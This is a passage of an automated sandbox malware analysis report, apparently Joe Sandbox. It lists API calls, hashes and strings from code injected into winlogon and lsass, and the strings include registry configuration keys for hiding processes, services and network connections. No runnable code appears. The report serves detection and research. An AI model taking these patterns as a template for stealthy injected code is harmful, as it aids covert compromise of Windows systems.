Part of subcall function 00000225DC6A152C: StrCmpIW.SHLWAPI ref: 00000225DC6A155D

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 1420031e885aaf21fcc6fdccc82258bc3790c71e1673b6532d453dab14891ff2
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 95115129601F64E2EA54DFAEA44C22977A5FB89FC2F188025DE4E97765DF38C442C300

Function 00000225DC641BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641C2D
HeapAlloc.KERNEL32 ref: 00000225DC641C3B
GetProcessHeap.KERNEL32 ref: 00000225DC641C77
HeapFree.KERNEL32 ref: 00000225DC641C85

Part of subcall function 00000225DC64152C: StrCmpIW.SHLWAPI ref: 00000225DC64155D

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 435233d5cd765dd7833698f1ddb9f59ae8d1156237805913c2fcddc5f4e0a6b6
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: B2119129615F5492EB54DFAEA80C26973A1FB89FC2F188065DE4E53765DF38C442C300

Function 00000225DC6A1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6A126E
HeapAlloc.KERNEL32 ref: 00000225DC6A127D
GetProcessHeap.KERNEL32 ref: 00000225DC6A1297
HeapAlloc.KERNEL32 ref: 00000225DC6A12A8

Memory Dump Source

Source File: 00000014.00000002.3141040016.00000225DC6A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC6A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc6a0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 5f6bbecbb8621be69b39046fe70b37093b4047639506c31062e86b7116282652
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 3EE03239A01E1486EB088BAAD80834A36E2EB89B07F08C0248A0907361DF7DC499CB90

Function 00000225DC641268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64126E
HeapAlloc.KERNEL32 ref: 00000225DC64127D
GetProcessHeap.KERNEL32 ref: 00000225DC641297
HeapAlloc.KERNEL32 ref: 00000225DC6412A8

Memory Dump Source

Source File: 00000014.00000002.3139707516.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 46137aeb2ac080d4014b8e101a3abee4704eba82c5d2520b876412a79b8151bf
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 77E06D39621E1486EB548FEAD80C36A36E1FB89F06F14C024CA0907751DF7DC499C750

Analysis Process: wepulfrfkvoz.exePID: 7348, Parent PID: 620COMMON

Executed Functions

Function 00007FF67BA51140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000002.1885163966.00007FF67BA51000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF67BA50000, based on PE: true

Associated: 00000019.00000002.1885071807.00007FF67BA50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000019.00000002.1885260809.00007FF67BA5B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000019.00000002.1885382420.00007FF67BA5F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000019.00000002.1893002919.00007FF67BCE2000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000019.00000002.1893730831.00007FF67BF58000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000019.00000002.1893787160.00007FF67BF90000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000019.00000002.1893823832.00007FF67BF93000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff67ba50000_wepulfrfkvoz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction ID: 585d77443b7e26a89f5b82c9ab1aea43b041ab92620849b898c4551422317c25
Opcode Fuzzy Hash: 09aa500106249f898c70f176d5dd8b6a7b84f69ff7d021052aa52de95c06f874
Instruction Fuzzy Hash: 28B0923292430984E2003F11D8812692260AF0C741F800021E50C42366CE6D51804B24

Analysis Process: lsass.exePID: 628, Parent PID: 6952COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	261
Total number of Limit Nodes:	15

Executed Functions

Function 00000202C0AE253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000202C0AE2620
StrCpyW.SHLWAPI ref: 00000202C0AE2639

Strings

\\.\pipe\, xrefs: 00000202C0AE262B

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 383afa285ac380fd55eaa2c4cb7d261a7defb1f4293108ecd3c580df2b121f06
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 517190362047C1C6F625DF2998CC3AE7794F389B84F560127DFAA53B8ADA35CA598700

Function 00000202C0AE202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000202C0AE20C6

Part of subcall function 00000202C0AE2F04: GetProcessHeap.KERNEL32 ref: 00000202C0AE2F27
Part of subcall function 00000202C0AE2F04: HeapAlloc.KERNEL32 ref: 00000202C0AE2F3A
Part of subcall function 00000202C0AE2F04: StrCmpNIW.SHLWAPI ref: 00000202C0AE2FAF
Part of subcall function 00000202C0AE2F04: GetProcessHeap.KERNEL32 ref: 00000202C0AE3015
Part of subcall function 00000202C0AE2F04: HeapFree.KERNEL32 ref: 00000202C0AE3023

Strings

dialer, xrefs: 00000202C0AE20BF
S, xrefs: 00000202C0AE21E7

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 7d0801e181e7e1027f0f2556f8cd6da4d5c454e321737ababf7947f23bb56196
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 5651AC32B107A4C6FB61CF29E88C6AD63E5F704784F069123DFA512B86DB35C969C300

Function 00000202C0AE1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000202C0AE1A60
StrCmpNIW.SHLWAPI ref: 00000202C0AE1A7A
lstrlenW.KERNEL32 ref: 00000202C0AE1A89
StrCpyW.SHLWAPI ref: 00000202C0AE1A9E

Strings

\\?\, xrefs: 00000202C0AE1A6E

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 8c3d5dbfacf504bca622ea7f657326f4a67cd1e3c1ec290e5004b19a988dad2d
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: BCF01922304781D2FB608B21E8CC76D6765F748BC8F958123DB994B966DA2DC68DCB00

Function 00000202C0AE1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
HeapAlloc.KERNEL32 ref: 00000202C0AE127D
GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 14bf7bafefd4b55b8bc325b1bb0149ce76066631eeb9ae1ebb85862f094286e6
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 48E03936601704C6FB048B62D84C34A36E5EB89B06F0681268B0907362DF7E8499C750

Function 00000202C0AE328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000202C0AE32AE
PathFindFileNameW.SHLWAPI ref: 00000202C0AE32BD

Part of subcall function 00000202C0AE3844: StrCmpNIW.SHLWAPI ref: 00000202C0AE385C

Part of subcall function 00000202C0AE3790: GetModuleHandleW.KERNEL32 ref: 00000202C0AE379E
Part of subcall function 00000202C0AE3790: GetCurrentProcess.KERNEL32 ref: 00000202C0AE37CC
Part of subcall function 00000202C0AE3790: VirtualProtectEx.KERNEL32 ref: 00000202C0AE37EE
Part of subcall function 00000202C0AE3790: GetCurrentProcess.KERNEL32 ref: 00000202C0AE3809
Part of subcall function 00000202C0AE3790: VirtualProtectEx.KERNEL32 ref: 00000202C0AE382A

CreateThread.KERNEL32 ref: 00000202C0AE330B

Part of subcall function 00000202C0AE1D14: GetCurrentThread.KERNEL32 ref: 00000202C0AE1D1F

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 435a5f88e7c6a6dd218e0f6004eb37f2790bd4aa4d5b291e1e8191fef771e2ad
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: A8119672618782D2F760D721F8CDB6D2294BB54748F528127ABB6497A3EF78C46C8240

Function 00000202C0AE1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000202C0AE1628: GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
Part of subcall function 00000202C0AE1628: HeapAlloc.KERNEL32 ref: 00000202C0AE1642
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA

Sleep.KERNEL32 ref: 00000202C0AE1AD7
SleepEx.KERNELBASE ref: 00000202C0AE1ADD

Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
Part of subcall function 00000202C0AE1628: RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
Part of subcall function 00000202C0AE1628: RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 1519724245a59a03f973eddcebe70884a6cccd966baeab2eab41fd8751cf1259
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: ED31C071200BE1C1FF509B26DACD3AD53A5AB84FC4F0654239FA987697FE14C879C210

Function 00000202C0AB273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000202C0AB285E

Memory Dump Source

Source File: 0000001A.00000002.3152046246.00000202C0AB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ab0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: e9c472418be9705004432d1361e805bb540b7ad58247b10c253449de9ed0d722
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 8161DF72B01790C7EB648F15908C76DB3A2FB54BA4F598127DF5D0778ADA38D86AC700

Function 00000202C0AED6CC Relevance: 1.3, APIs: 1, Instructions: 36
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapAlloc.KERNEL32 ref: 00000202C0AED721

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction ID: f1c622e14429a0b520057bbb946f3f429c66e82a7f768f9b6ab0a37ff79ad3e0
Opcode Fuzzy Hash: dd9fd347fe8d251c64e9f03e0b9c8ce045e185238ab486bcf6df9ff2ab176017
Instruction Fuzzy Hash: E4F0E998311780C1FE546B6699CD39D22845F88BC0F0E5437CF9A867D3EE1CC4AC8620

Non-executed Functions

Function 00000202C0AE2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000202C0AE2BD0
lstrlenW.KERNEL32 ref: 00000202C0AE2E0A

Part of subcall function 00000202C0AE199C: OpenProcess.KERNEL32 ref: 00000202C0AE19C2
Part of subcall function 00000202C0AE199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000202C0AE19E0
Part of subcall function 00000202C0AE199C: PathFindFileNameW.SHLWAPI ref: 00000202C0AE19EF
Part of subcall function 00000202C0AE199C: lstrlenW.KERNEL32 ref: 00000202C0AE19FB
Part of subcall function 00000202C0AE199C: StrCpyW.SHLWAPI ref: 00000202C0AE1A0E
Part of subcall function 00000202C0AE199C: CloseHandle.KERNEL32 ref: 00000202C0AE1A1C

GetProcAddress.KERNEL32 ref: 00000202C0AE2BE5

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

Part of subcall function 00000202C0AE3844: StrCmpNIW.SHLWAPI ref: 00000202C0AE385C

StrCmpNIW.SHLWAPI ref: 00000202C0AE2C28
lstrlenW.KERNEL32 ref: 00000202C0AE2D50

Strings

NtQueryObject, xrefs: 00000202C0AE2BDB
\Device\Nsi, xrefs: 00000202C0AE2C1B
ntdll.dll, xrefs: 00000202C0AE2BC9

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 629c2a77cc7c689ebc2a82fae016c29b45818ce3604cad8590d8ad8b42d26791
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 8BB18B62210BA0C6FB688F25C8CC7AD67A5F744B88F565017EF9953796EB35CC68C340

Function 00000202C0AE7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000202C0AE7DAC
RtlCaptureContext.NTDLL ref: 00000202C0AE7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AE7DF3
RtlVirtualUnwind.NTDLL ref: 00000202C0AE7E34
IsDebuggerPresent.KERNEL32 ref: 00000202C0AE7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AE7EB4

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 43f65ee015122b04127526cc5c334c21e5a52d8fe7862f76cef395083f707644
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 74311972205B80CAFB609F60E8887ED6364F784744F45442BDB8E57A9AEF39C658C710

Function 00000202C0AED2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000202C0AED31D
RtlLookupFunctionEntry.NTDLL ref: 00000202C0AED335
RtlVirtualUnwind.NTDLL ref: 00000202C0AED370
IsDebuggerPresent.KERNEL32 ref: 00000202C0AED3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000202C0AED3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000202C0AED3BE

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 3629953f5db9c1b5f8070e01c3cc1c8c2a667b2e639c3edd282c0df2f16cc2f9
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: FF314F36214B80C6EB60CF25E88879E73A4F789758F550127EB9D47BA6EF38C559CB00

Function 00000202C0AE1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000202C0AE1633
HeapAlloc.KERNEL32 ref: 00000202C0AE1642

Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE126E
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE127D
Part of subcall function 00000202C0AE1268: GetProcessHeap.KERNEL32 ref: 00000202C0AE1297
Part of subcall function 00000202C0AE1268: HeapAlloc.KERNEL32 ref: 00000202C0AE12A8

RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16B2
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE16DF
RegCloseKey.ADVAPI32 ref: 00000202C0AE16F9
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1719
RegCloseKey.ADVAPI32 ref: 00000202C0AE1734
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1754
RegCloseKey.ADVAPI32 ref: 00000202C0AE176F
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE178F
RegCloseKey.ADVAPI32 ref: 00000202C0AE17AA
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE17CA
RegCloseKey.ADVAPI32 ref: 00000202C0AE17E5
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1805
RegCloseKey.ADVAPI32 ref: 00000202C0AE1820
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE1840
RegCloseKey.ADVAPI32 ref: 00000202C0AE185B
RegOpenKeyExW.ADVAPI32 ref: 00000202C0AE187B
RegCloseKey.ADVAPI32 ref: 00000202C0AE1896
RegCloseKey.ADVAPI32 ref: 00000202C0AE18A0

Part of subcall function 00000202C0AE12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE1338
Part of subcall function 00000202C0AE12BC: RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
Part of subcall function 00000202C0AE12BC: HeapFree.KERNEL32 ref: 00000202C0AE1418
Part of subcall function 00000202C0AE12BC: lstrlenW.KERNEL32 ref: 00000202C0AE1421
Part of subcall function 00000202C0AE12BC: GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
Part of subcall function 00000202C0AE12BC: HeapAlloc.KERNEL32 ref: 00000202C0AE143D

Strings

tcp_local, xrefs: 00000202C0AE17FE
service_names, xrefs: 00000202C0AE17C3
SOFTWARE\dialerconfig, xrefs: 00000202C0AE1692
startup, xrefs: 00000202C0AE16D5
process_names, xrefs: 00000202C0AE174D
paths, xrefs: 00000202C0AE1788
pid, xrefs: 00000202C0AE1712
udp, xrefs: 00000202C0AE1874
tcp_remote, xrefs: 00000202C0AE1839

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 1d03e476145ce09beb9e97f2b7c5aab0935724522098279c66d9844aa9511552
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: F2710636210B50C6FB109F25E8DCA9D23A9FB84F88F425123DB9E47B6ADE39C458C744

Function 00000202C0AE12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000202C0AE1319
GetProcessHeap.KERNEL32 ref: 00000202C0AE1327
HeapAlloc.KERNEL32 ref: 00000202C0AE1338
RegEnumValueW.ADVAPI32 ref: 00000202C0AE1397

Part of subcall function 00000202C0AE152C: StrCmpIW.SHLWAPI ref: 00000202C0AE155D

GetProcessHeap.KERNEL32 ref: 00000202C0AE13DF
HeapAlloc.KERNEL32 ref: 00000202C0AE13ED
GetProcessHeap.KERNEL32 ref: 00000202C0AE140A
HeapFree.KERNEL32 ref: 00000202C0AE1418
lstrlenW.KERNEL32 ref: 00000202C0AE1421
GetProcessHeap.KERNEL32 ref: 00000202C0AE142F
HeapAlloc.KERNEL32 ref: 00000202C0AE143D
StrCpyW.SHLWAPI ref: 00000202C0AE145F
GetProcessHeap.KERNEL32 ref: 00000202C0AE1476
HeapFree.KERNEL32 ref: 00000202C0AE1484

Strings

d, xrefs: 00000202C0AE135A

Memory Dump Source

Source File: 0000001A.00000002.3152289425.00000202C0AE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000202C0AE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_202c0ae0000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: a5c0dd0dd48098ab404cbb16107d584fe92d72ef17c22032ec6d5acc94b81fb7
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 2C513876200B84C6EB50CF62E48C35EB7A5F788F89F458126DB890776ADF39C059CB00

Function 00000202C0AE1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000202C0AE1D1F

Part of subcall function 00000202C0AE1FD4: GetModuleHandleA.KERNEL32 ref: 00000202C0AE1FEC
